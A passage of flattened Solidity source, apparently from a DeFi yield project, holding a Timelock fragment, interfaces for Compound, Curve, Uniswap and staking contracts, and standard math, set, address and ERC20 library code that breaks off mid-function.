executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } } interface ICToken { function totalSupply() external view returns (uint256); function totalBorrows() external returns (uint256); function borrowIndex() external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function mint(uint256 mintAmount) external returns (uint256); function transfer(address dst, uint256 amount) external returns (bool); function transferFrom( address src, address dst, uint256 amount ) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function borrowRatePerBlock() external view returns (uint256); function supplyRatePerBlock() external view returns (uint256); function totalBorrowsCurrent() external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function getCash() external view returns (uint256); function accrueInterest() external returns (uint256); function seize( address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); } interface ICEther { function mint() external payable; /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint256 redeemTokens) external returns (uint256); /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint256 redeemAmount) external returns (uint256); /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint256 borrowAmount) external returns (uint256); /** * @notice Sender repays their own borrow * @dev Reverts upon any failure */ function repayBorrow() external payable; /** * @notice Sender repays a borrow belonging to borrower * @dev Reverts upon any failure * @param borrower the account with the debt being payed off */ function repayBorrowBehalf(address borrower) external payable; /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @dev Reverts upon any failure * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower */ function liquidateBorrow(address borrower, address cTokenCollateral) external payable; } interface IComptroller { function compAccrued(address) external view returns (uint256); function compSupplierIndex(address, address) external view returns (uint256); function compBorrowerIndex(address, address) external view returns (uint256); function compSpeeds(address) external view returns (uint256); function compBorrowState(address) external view returns (uint224, uint32); function compSupplyState(address) external view returns (uint224, uint32); /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); /*** Policy Hooks ***/ function mintAllowed( address cToken, address minter, uint256 mintAmount ) external returns (uint256); function mintVerify( address cToken, address minter, uint256 mintAmount, uint256 mintTokens ) external; function redeemAllowed( address cToken, address redeemer, uint256 redeemTokens ) external returns (uint256); function redeemVerify( address cToken, address redeemer, uint256 redeemAmount, uint256 redeemTokens ) external; function borrowAllowed( address cToken, address borrower, uint256 borrowAmount ) external returns (uint256); function borrowVerify( address cToken, address borrower, uint256 borrowAmount ) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint256 repayAmount ) external returns (uint256); function repayBorrowVerify( address cToken, address payer, address borrower, uint256 repayAmount, uint256 borrowerIndex ) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount ) external returns (uint256); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount, uint256 seizeTokens ) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external; function transferAllowed( address cToken, address src, address dst, uint256 transferTokens ) external returns (uint256); function transferVerify( address cToken, address src, address dst, uint256 transferTokens ) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint256 repayAmount ) external view returns (uint256, uint256); // Claim all the COMP accrued by holder in all markets function claimComp(address holder) external; // Claim all the COMP accrued by holder in specific markets function claimComp(address holder, address[] calldata cTokens) external; // Claim all the COMP accrued by specific holders in specific markets for their supplies and/or borrows function claimComp( address[] calldata holders, address[] calldata cTokens, bool borrowers, bool suppliers ) external; function markets(address cTokenAddress) external view returns (bool, uint256); } interface ICompoundLens { function getCompBalanceMetadataExt( address comp, address comptroller, address account ) external returns ( uint256 balance, uint256 votes, address delegate, uint256 allocated ); } interface IController { function jars(address) external view returns (address); function rewards() external view returns (address); function devfund() external view returns (address); function treasury() external view returns (address); function balanceOf(address) external view returns (uint256); function withdraw(address, uint256) external; function earn(address, uint256) external; } interface Converter { function convert(address) external returns (uint256); } interface ICurveFi_2 { function get_virtual_price() external view returns (uint256); function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity_imbalance( uint256[2] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[2] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function balances(int128) external view returns (uint256); } interface ICurveFi_3 { function get_virtual_price() external view returns (uint256); function add_liquidity(uint256[3] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity_imbalance( uint256[3] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[3] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function balances(uint256) external view returns (uint256); } interface ICurveFi_4 { function get_virtual_price() external view returns (uint256); function add_liquidity(uint256[4] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity_imbalance( uint256[4] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function balances(int128) external view returns (uint256); } interface ICurveZap_4 { function add_liquidity( uint256[4] calldata uamounts, uint256 min_mint_amount ) external; function remove_liquidity(uint256 _amount, uint256[4] calldata min_uamounts) external; function remove_liquidity_imbalance( uint256[4] calldata uamounts, uint256 max_burn_amount ) external; function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external returns (uint256); function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_uamount ) external; function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_uamount, bool donate_dust ) external; function withdraw_donated_dust() external; function coins(int128 arg0) external returns (address); function underlying_coins(int128 arg0) external returns (address); function curve() external returns (address); function token() external returns (address); } interface ICurveZap { function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_uamount ) external; } interface ICurveGauge { function deposit(uint256 _value) external; function deposit(uint256 _value, address addr) external; function balanceOf(address arg0) external view returns (uint256); function withdraw(uint256 _value) external; function withdraw(uint256 _value, bool claim_rewards) external; function claim_rewards() external; function claim_rewards(address addr) external; function claimable_tokens(address addr) external returns (uint256); function claimable_reward(address addr) external view returns (uint256); function integrate_fraction(address arg0) external view returns (uint256); } interface ICurveMintr { function mint(address) external; function minted(address arg0, address arg1) external view returns (uint256); } interface ICurveVotingEscrow { function locked(address arg0) external view returns (int128 amount, uint256 end); function locked__end(address _addr) external view returns (uint256); function create_lock(uint256, uint256) external; function increase_amount(uint256) external; function increase_unlock_time(uint256 _unlock_time) external; function withdraw() external; function smart_wallet_checker() external returns (address); } interface ICurveSmartContractChecker { function wallets(address) external returns (bool); function approveWallet(address _wallet) external; } interface IJarConverter { function convert( address _refundExcess, // address to send the excess amount when adding liquidity uint256 _amount, // UNI LP Amount bytes calldata _data ) external returns (uint256); } interface IMasterchef { function BONUS_MULTIPLIER() external view returns (uint256); function add( uint256 _allocPoint, address _lpToken, bool _withUpdate ) external; function bonusEndBlock() external view returns (uint256); function deposit(uint256 _pid, uint256 _amount) external; function dev(address _devaddr) external; function devFundDivRate() external view returns (uint256); function devaddr() external view returns (address); function emergencyWithdraw(uint256 _pid) external; function getMultiplier(uint256 _from, uint256 _to) external view returns (uint256); function massUpdatePools() external; function owner() external view returns (address); function pendingPickle(uint256 _pid, address _user) external view returns (uint256); function pickle() external view returns (address); function picklePerBlock() external view returns (uint256); function poolInfo(uint256) external view returns ( address lpToken, uint256 allocPoint, uint256 lastRewardBlock, uint256 accPicklePerShare ); function poolLength() external view returns (uint256); function renounceOwnership() external; function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) external; function setBonusEndBlock(uint256 _bonusEndBlock) external; function setDevFundDivRate(uint256 _devFundDivRate) external; function setPicklePerBlock(uint256 _picklePerBlock) external; function startBlock() external view returns (uint256); function totalAllocPoint() external view returns (uint256); function transferOwnership(address newOwner) external; function updatePool(uint256 _pid) external; function userInfo(uint256, address) external view returns (uint256 amount, uint256 rewardDebt); function withdraw(uint256 _pid, uint256 _amount) external; } interface OneSplitAudit { function getExpectedReturn( address fromToken, address toToken, uint256 amount, uint256 parts, uint256 featureFlags ) external view returns (uint256 returnAmount, uint256[] memory distribution); function swap( address fromToken, address toToken, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256 featureFlags ) external payable; } interface Proxy { function execute( address to, uint256 value, bytes calldata data ) external returns (bool, bytes memory); function increaseAmount(uint256) external; } interface IStakingRewards { function balanceOf(address account) external view returns (uint256); function earned(address account) external view returns (uint256); function exit() external; function getReward() external; function getRewardForDuration() external view returns (uint256); function lastTimeRewardApplicable() external view returns (uint256); function lastUpdateTime() external view returns (uint256); function notifyRewardAmount(uint256 reward) external; function periodFinish() external view returns (uint256); function rewardPerToken() external view returns (uint256); function rewardPerTokenStored() external view returns (uint256); function rewardRate() external view returns (uint256); function rewards(address) external view returns (uint256); function rewardsDistribution() external view returns (address); function rewardsDuration() external view returns (uint256); function rewardsToken() external view returns (address); function stake(uint256 amount) external; function stakeWithPermit( uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function stakingToken() external view returns (address); function totalSupply() external view returns (uint256); function userRewardPerTokenPaid(address) external view returns (uint256); function withdraw(uint256 amount) external; } interface IStakingRewardsFactory { function deploy(address stakingToken, uint256 rewardAmount) external; function isOwner() external view returns (bool); function notifyRewardAmount(address stakingToken) external; function notifyRewardAmounts() external; function owner() external view returns (address); function renounceOwnership() external; function rewardsToken() external view returns (address); function stakingRewardsGenesis() external view returns (uint256); function stakingRewardsInfoByStakingToken(address) external view returns (address stakingRewards, uint256 rewardAmount); function stakingTokens(uint256) external view returns (address); function transferOwnership(address newOwner) external; } interface IStrategy { function rewards() external view returns (address); function gauge() external view returns (address); function want() external view returns (address); function timelock() external view returns (address); function deposit() external; function withdrawForSwap(uint256) external returns (uint256); function withdraw(address) external; function withdraw(uint256) external; function skim() external; function withdrawAll() external returns (uint256); function balanceOf() external view returns (uint256); function harvest() external; function setTimelock(address) external; function setController(address _controller) external; function execute(address _target, bytes calldata _data) external payable returns (bytes memory response); function execute(bytes calldata _data) external payable returns (bytes memory response); } interface UniswapRouterV2 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function createPair(address tokenA, address tokenB) external returns (address pair); } interface USDT { function approve(address guy, uint256 wad) external; function transfer(address _to, uint256 _value) external; } interface WETH { function name() external view returns (string memory); function approve(address guy, uint256 wad) external returns (bool); function totalSupply() external view returns (uint256); function transferFrom( address src, address dst, uint256 wad ) external returns (bool); function withdraw(uint256 wad) external; function decimals() external view returns (uint8); function balanceOf(address) external view returns (uint256); function symbol() external view returns (string memory); function transfer(address dst, uint256 wad) external returns (bool); function deposit() external payable; function allowance(address, address) external view returns (uint256); } contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function 